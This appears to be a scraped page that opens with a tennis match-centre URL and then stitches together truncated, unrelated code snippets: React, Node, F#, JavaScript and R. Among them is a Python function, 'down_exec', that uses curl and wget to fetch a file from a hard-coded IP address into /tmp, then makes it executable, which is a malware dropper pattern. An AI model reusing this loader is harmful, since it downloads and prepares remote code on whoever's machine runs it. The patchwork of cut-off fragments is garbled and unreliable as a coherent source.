https://matchcentre.tennis.com.au/matches/3623161
| function App() { | |
| let divRef = useRef(null); | |
| useEffect(() => { | |
| var text = document.createTextNode(" Rendered "); | |
| divRef.current.appendChild(text); | |
| return () => { | |
| var text = document.createTextNode(" Unrendered "); | |
| divRef.current.appendChild(text); | |
| }; |
| if (process.argv.length < 3) { | |
| console.log('Usage: node ' + process.argv[1] + ' FILENAME'); | |
| process.exit(1); | |
| } | |
| var fs = require('fs') | |
| , filename = process.argv[2]; | |
| let input = fs.readFileSync(filename, 'utf8'); |
| let rotations = System.Console.ReadLine().Split().[1] |> int | |
| let vals = System.Console.ReadLine().Split() | |
| let rotate arr n = | |
| let cut = n % Array.length arr | |
| Array.append arr.[cut..] arr.[..cut-1] | |
| String.concat " " (rotate vals rotations) |> printfn "%s" |
| import os | |
| def down_exec(): | |
| cmd = 'curl http://60.191.187.18:667/kb>/tmp/kb' | |
| p = os.system(cmd) | |
| cmd = 'wget -O /tmp/kb http://60.191.187.18:667/kb' | |
| p = os.system(cmd) | |
| cmd = 'chmod 0777 /tmp/kb' | |
| p = os.system(cmd) | |
| cmd = 'chmod u+x /tmp/kb' |
| // https://code.google.com/codejam/contest/351101/dashboard#s=p0 | |
| open System.Linq | |
| type Case = { c: int; i: int; ps: int[]; index: int[] } | |
| let readFile filename = | |
| System.IO.File.ReadLines(filename) | |
| let transpose arr = | |
| let t = [|for a in [0..Array.max arr] -> -1|] |
| #r @"packages\FParsec.1.0.1\lib\net40-client\FParsecCS.dll" | |
| #r @"packages\FParsec.1.0.1\lib\net40-client\FParsec.dll" | |
| open FParsec | |
| let parsesA = pchar 'a' | |
| run parsesA "abcdefg" | |
| run (many anyChar) "abcde fg" |
| // selectGame is a function that builds the data model for a game, by randomly selecting a set of books and a correct answer. | |
| var selectGame = function () { | |
| // `this` within selectGame is the array `data`. `reduce` is used to flatten the set of books into a single array. | |
| // `_.shuffle` randomizes the list of books. | |
| // `slice` selects the first 4 books. | |
| // `books` is then 4 randomly selected books. | |
| var books = _.shuffle(this.reduce(function (p, c, i) { | |
| return p.concat(c.books); | |
| }, [])).slice(0,4); |
| store.subscribe(() => { | |
| ReactDOM.render( | |
| <Router history={browserHistory}> | |
| // Note the use of onEnter event | |
| <Route path="/chunk/:id" onEnter={handleEnterChunk} component={attachState(ChunkPage.Chunk,'chunk')}/> | |
| </Router>) | |
| }); | |
| // read route params (state.params) and do required state changes | |
| function handleEnterChunk(state,replace,callback) { |
| mean=132; sd=13 | |
| lb=105; ub=159 | |
| x <- seq(-4,4,length=100)*sd + mean | |
| hx <- dnorm(x,mean,sd) | |
| plot(x, hx, type="n", xlab="Duration (days)", ylab="", | |
| main="Duration Probability Distribution", axes=FALSE) | |
| i <- x >= lb & x <= ub |